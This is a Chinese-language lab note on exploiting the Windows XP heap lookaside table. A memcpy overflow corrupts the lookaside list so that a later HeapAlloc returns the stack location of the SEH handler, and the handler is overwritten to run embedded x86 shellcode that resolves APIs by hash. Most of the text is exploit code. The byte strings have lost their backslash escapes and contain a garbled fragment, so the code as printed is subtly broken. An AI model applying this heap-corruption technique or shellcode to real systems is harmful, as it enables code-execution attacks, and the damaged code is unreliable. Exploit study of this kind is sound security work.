块表 也就是 lookaside表!!!!!!
这种方法 很难
条件:
1 memcpy 赋值
2 使用块表 有HeapAlloc 和 HeapFree后还有赋值等
3 两次 赋值
总的来说 这个知识点很重要 XP 下还可以
先构造如下:
后面发现 将 SEH handler 设置为 0x0012ffe4 更好些!!!!!!!!!!
#include <stdio.h>
#include <windows.h>
char shellcode []=
"xEBx40x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充
"x03 0x03x00x5Cx01x08x99"//填充
"xE4xFFx12x00"//用默认异常处理函数指针所在位置覆盖
;
void main()
{
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"x90x1Ex39x00",4);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
第一次释放之后 块表区被修改了lookaside[2] 指向 被释放的块h3 块首中的下一堆块指针(因为我们先释放的h3)
经过两次释放之后 块表区被修改了lookaside[2] 指向 被释放的块h2 块首中的下一堆块指针
接下来看看 快表的堆块:
接下来开始赋值shellcode ··············
追寻 下一个 申请空间函数 进入 发现 将 lookaside[2] 的下一块首地址 赋值为了我们构造的 SEH handler 0x0012ffe4
(也就是 lookaside[2] 地址的值指向的值 再赋值到 lookaside[2] 地址上来)
只要向这个刚申请的空间中写入 shellcode就可以覆盖 SEH handler 接着
接着到达下面
注意这里的eax即为申请的内存地址······· 而这个地址恰恰就是 两次HeapFree之后的lookaside[2]的地址指向的值
接着
(也就是 lookaside[2] 地址的值指向的值 再赋值到 lookaside[2] 地址上来)
注意这里申请的地址 为 上一次 lookaside[2]的地址指向的值 也就是我们特殊构造的 SEH handler 地址 往这个地址赋值旧改变 异常处理流程了
最后往里面 赋值 003A1E90
触发异常后 eb 40 是我们特殊构造的 这里的值不会被程序覆盖掉
最终代码:
#include <stdio.h>
#include <windows.h>
char shellcode []=
"xEBx40x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充
"x03 0x03x00x5Cx01x08x99"//填充
"xb4xFFx12x00"//用默认异常处理函数指针所在位置覆盖 //根据实际情况调整
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53"
"x68x64x61x30x23"
"x68x23x50x61x6E"
"x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8";
void main()
{
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
//__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"x90x1Ex3ax00",4);//根据实际情况调整
int zero=0;
zero=1/zero;
printf("%d",zero);
}